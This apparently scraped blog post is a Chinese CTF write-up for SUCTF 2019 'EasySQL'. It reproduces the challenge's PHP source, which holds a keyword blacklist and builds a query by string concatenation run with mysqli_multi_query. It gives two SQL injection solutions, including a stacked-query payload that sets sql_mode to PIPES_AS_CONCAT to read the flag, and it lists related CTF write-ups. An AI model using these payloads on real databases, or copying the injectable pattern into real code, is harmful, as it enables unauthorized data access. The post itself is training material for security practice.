[原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)
简介
原题复现:
1 <?php
2 session_start();
3
4 include_once "config.php";
5
6 $post = array();
7 $get = array();
8 global $MysqlLink;
9
10 //GetPara();
11 $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
12 if(!$MysqlLink){
13 die("Mysql Connect Error!");
14 }
15 $selectDB = mysqli_select_db($MysqlLink,$dataName);
16 if(!$selectDB){
17 die("Choose Database Error!");
18 }
19
20 foreach ($_POST as $k=>$v){
21 if(!empty($v)&&is_string($v)){
22 $post[$k] = trim(addslashes($v));
23 }
24 }
25 foreach ($_GET as $k=>$v){
26 }
27 }
28 //die();
29 ?>
30
31 <html>
32 <head>
33 </head>
34
35 <body>
36
37 <a> Give me your flag, I will tell you if the flag is right. </ a>
38 <form action="" method="post">
39 <input type="text" name="query">
40 <input type="submit">
41 </form>
42 </body>
43 </html>
44
45 <?php
46
47 if(isset($post['query'])){
48 $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
49 //var_dump(preg_match("/{$BlackList}/is",$post['query']));
50 if(preg_match("/{$BlackList}/is",$post['query'])){
51 //echo $post['query'];
52 die("Nonono.");
53 }
54 if(strlen($post['query'])>40){
55 die("Too long.");
56 }
57 $sql = "select ".$post['query']."||flag from Flag";
58 mysqli_multi_query($MysqlLink,$sql);
59 do{
60 if($res = mysqli_store_result($MysqlLink)){
61 while($row = mysqli_fetch_row($res)){
62 print_r($row);
63 }
64 }
65 }while(@mysqli_next_result($MysqlLink));
66
67 }
68
69 ?>
考察知识点:堆叠注入
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
简介
测试发现有堆叠注入漏洞
方法一:
看wp知道后端查询语句是这样的这时一种非预期解的方法:
$sql = "select ".$post['query']."||flag from Flag";
所以我们前端构造语句 *,1 这样sql的语句就是这样的了
select *,1||flag from Flag
方法二:
预期解通过堆叠注入将sql_mode的值设置为PIPES_AS_CONCAT,从而将 || 视为字符串的连接操作符而非或运算符,所以构造出来
payload:
query=1;set sql_mode=PIPES_AS_CONCAT;select 1
这样在进行查询的时候将||运算符当成连接符成这样的语句
select 1,flag from Flag
参考学习:https://www.cnblogs.com/chrysanthemum/p/11729891.html
https://www.jianshu.com/p/5644f7c39c68
[原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)的更多相关文章
- [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]
简介 原题复现: 考察知识点:无参数命令执行.绕过filter_var(), preg_match() 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...
- [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]
简介 原题复现: 考察知识点:无参数命令执行 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...
- [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]
前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...
- [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)
简介 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn 考察知识点:上传绕过..user.ini 线上平台:h ...
- [原题复现][2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)
简介 今天参加i春秋新春抗疫赛 一道web没整出来 啊啊啊 好垃圾啊啊啊啊啊啊啊 晚上看群里赵师傅的buuoj平台太屌了分分钟上线 然后赵师傅还分享了思路用handler语句绕过select过滤.. ...
- [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)
简介 原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/ 考察知识点:反序列化.PHP伪协议.数组绕过 ...
- [原题复现]强网杯 2019 WEB高明的黑客
简介 原题复现: 考察知识点:python代码编写能力... 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...
- [原题复现]2018护网杯(WEB)easy_tornado(模板注入)
简介 原题复现: 考察知识点:模板注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...
- [原题复现][极客大挑战 2019]BuyFlag
简介 原题复现:[极客大挑战 2019]BuyFlag 考察知识点:php函数特性(is_numeric().strcmp函数()) 线上平台:https://buuoj.cn(北京联合大学公开 ...
随机推荐
- ServletContext使用介绍
ServletContext是一个容器(域对象)可以存储键值对数据(String key,Object value),保存在ServletContext中的数据不仅可以提供给所有的servlet使用, ...
- .net core autofac asyncinterceptor 异步拦截器帮助包
autofac使用拦截器实现AOP,是基于Castle.Core的.然而Castle.Core并未提供原生异步支持.所以需要使用帮助类实现,这在autofac官方文档的已知问题中有详细说明: http ...
- uart与usart区别
uart 通用异步收发传输器(Universal Asynchronous Receiver/Transmitter),通常称作UART,是一种异步收发传输器,是电脑硬件的一部分.它将要传输的资料在串 ...
- vue-cli3使用jq
第一步安装 npm install jquery --save 第二部配置vue.config.js, 没有这个文件就创建 主要是框框出来的那些: 忽略我配置的另一个uglifyjs-webpack- ...
- python的多线程和java的多线程之间的区别
在python中,由于Cpython解释器的全局解释器的存在,那么多线程的话在同一时刻只能有一个线程执行,意思就是python中的多线程只能并发执行, 没有办法实现真正的并行,也就是无法利用多核CPU ...
- 专题三:redis的数据类型之hash
一.基本介绍 前面一个专题我们讲到string去存储明星微博粉丝数,微博数等,大概介绍了两种方式: set user:id:012345:fans 12210862 set u ...
- 正式班D21
2020.11.03星期二 正式班D21 目录 11.5 源码包 11.5.1 预先安装编译安装依赖的库 11.5.2 官网下载源码包 11.5.3 解压.编译.编译安装 11.5 源码包 11.5. ...
- JAVA学习线路:day14-网络编程
心得: 我是一名正在自学的java的即将毕业的大学生 总结笔记是为了让自己更好的理解和加深印象.可能不是那么美观,自己可以看懂就好 所有的文档和源代码都开源在GitHub: https://githu ...
- Flink的DataSource三部曲之二:内置connector
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
- Docker(5)- docker version 命令详解
如果你还想从头学起 Docker,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1870863.html 作用 显示 Docker 版本信 ...